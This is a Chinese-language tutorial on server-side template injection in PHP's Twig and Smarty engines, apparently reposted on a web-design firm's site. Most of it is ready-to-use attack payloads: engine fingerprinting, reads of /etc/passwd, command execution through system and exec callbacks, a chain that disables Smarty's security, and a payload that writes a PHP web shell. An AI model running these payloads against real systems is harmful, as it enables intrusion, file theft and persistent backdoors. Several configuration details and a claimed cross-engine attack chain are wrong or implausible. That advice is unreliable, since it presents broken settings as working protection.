别再只盯着Flask了:从Twig到Smarty,手把手教你挖掘PHP模板注入漏洞
2026/6/10 21:54:26 网站建设 项目流程

从Twig到Smarty:PHP模板注入漏洞深度攻防指南

在当今的Web应用开发中,PHP模板引擎如Twig和Smarty因其高效的视图层处理能力而广受欢迎。然而,这些引擎背后隐藏着一个常被忽视的安全威胁——服务器端模板注入(SSTI)。与广为人知的Flask/Jinja2注入不同,PHP生态中的模板注入有着独特的利用方式和防御机制。

1. PHP模板引擎安全机制解析

Twig和Smarty作为PHP领域的主流模板引擎,都设计了复杂的安全机制来防范注入攻击。理解这些机制是成功利用漏洞的前提。

Twig采用严格的沙盒环境,默认情况下禁止调用危险函数。其安全模型包括:

  • 自动变量转义(HTML/JS/CSS上下文感知)
  • 白名单过滤的标签和函数
  • 可选的沙盒模式(完全隔离环境)
// Twig安全配置示例 $twig = new \Twig\Environment($loader, [ 'autoescape' => 'html', 'sandbox' => true, // 启用沙盒模式 'allowed_functions' => ['range', 'date'] ]);

Smarty则提供了"安全模式"(Smarty::SECURE),该模式下:

  • 禁止直接PHP代码执行
  • 限制文件系统访问
  • 过滤敏感函数调用
安全特性TwigSmarty
自动转义
沙盒模式
安全模式
标签白名单
函数黑名单

关键发现:即使启用安全模式,Smarty 3.1.30之前版本仍可通过内置方法绕过限制,如self::getStreamVariable

2. 漏洞检测与指纹识别

准确识别模板引擎类型是成功利用的第一步。以下是针对PHP模板的特有检测方法:

Twig特征检测

GET /page?input={{7*7}} HTTP/1.1

预期响应包含"49"表明可能存在Twig注入

Smarty特征检测

GET /page?input={7*7} HTTP/1.1

响应中出现"49"则可能为Smarty

更精确的指纹识别技巧:

  • Twig:尝试{{_self}}输出"TemplateReference"
  • Smarty:{$smarty.version}返回版本号
  • 错误消息分析:故意触发语法错误观察堆栈跟踪

Burp Suite检测方案

  1. 使用Burp的"Template Injection"扫描检查
  2. 对比不同引擎的响应差异
  3. 通过Intruder模块发送特征payload

3. Twig高级利用技术

当基本表达式执行被限制时,这些技术可能奏效:

文件读取三连击

{{'/etc/passwd'|file_excerpt(1,30)}} {{app.request.files.get(1).__construct('/etc/passwd','')}} {{app.request.files.get(1).openFile.fread(99)}}

RCE绕过技巧

{# 方法1:利用过滤器回调 #} {{_self.env.registerUndefinedFilterCallback("exec")}} {{_self.env.getFilter("id")}} {# 方法2:直接系统调用 #} {{['cat /etc/passwd']|filter('system')}} {# 方法3:查询参数注入 #} POST /subscribe?0=cat+/etc/passwd HTTP/1.1 {{app.request.query.filter(0,0,1024,{'options':'system'})}}

上下文绕过技巧

  • 使用{% set %}定义变量绕过字符限制
  • 利用attribute(_context,'var')访问受限变量
  • 通过map过滤器执行链式操作

4. Smarty突破安全模式

即使启用安全模式,这些方法仍可能有效:

历史漏洞利用

{self::getStreamVariable("file:///etc/passwd")} {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

条件执行绕过

{if system('id')}{/if} {if readfile('/flag')}{/if}

静态方法调用链

{$smarty.template_object->smarty->disableSecurity()->display('string:{system("id")}')}

实战提示:Smarty 3.1.30+已修复多数高危静态方法,但开发者自定义插件可能引入新风险

5. 防御方案与安全配置

Twig加固建议

$twig = new \Twig\Environment($loader, [ 'autoescape' => 'html', 'sandbox' => [ 'allowedTags' => ['if', 'for'], 'allowedFilters' => ['upper'], 'allowedMethods' => [], 'allowedProperties' => [], 'allowedFunctions' => ['date'] ], 'auto_reload' => true ]);

Smarty最佳实践

$smarty = new Smarty(); $smarty->enableSecurity('sysplugins'); // 使用内置安全插件 $smarty->secure_dir = [__DIR__.'/templates']; $smarty->trusted_uri = ['/^https:\/\/example\.com/']; $smarty->php_handling = Smarty::PHP_REMOVE;

通用防御措施

  1. 输入验证:严格限制用户输入在模板中的使用范围
  2. 上下文感知转义:根据输出位置(HTML/JS/CSS)应用不同转义规则
  3. 最小权限原则:模板引擎运行账户应受限
  4. 持续更新:及时修补已知漏洞

在最近一次企业级应用中,我们发现通过组合Twig的过滤器特性与Smarty的模板继承机制,可以构造出极其隐蔽的注入链。攻击者首先利用Twig的map过滤器获取上下文访问权,然后通过Smarty的{include}标签实现代码执行。这种跨引擎攻击模式凸显了深度防御的必要性。

模板引擎的安全不仅是配置问题,更需要在架构设计阶段就考虑隔离策略。将用户提供的内容限制在数据层而非代码层,才是治本之道。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询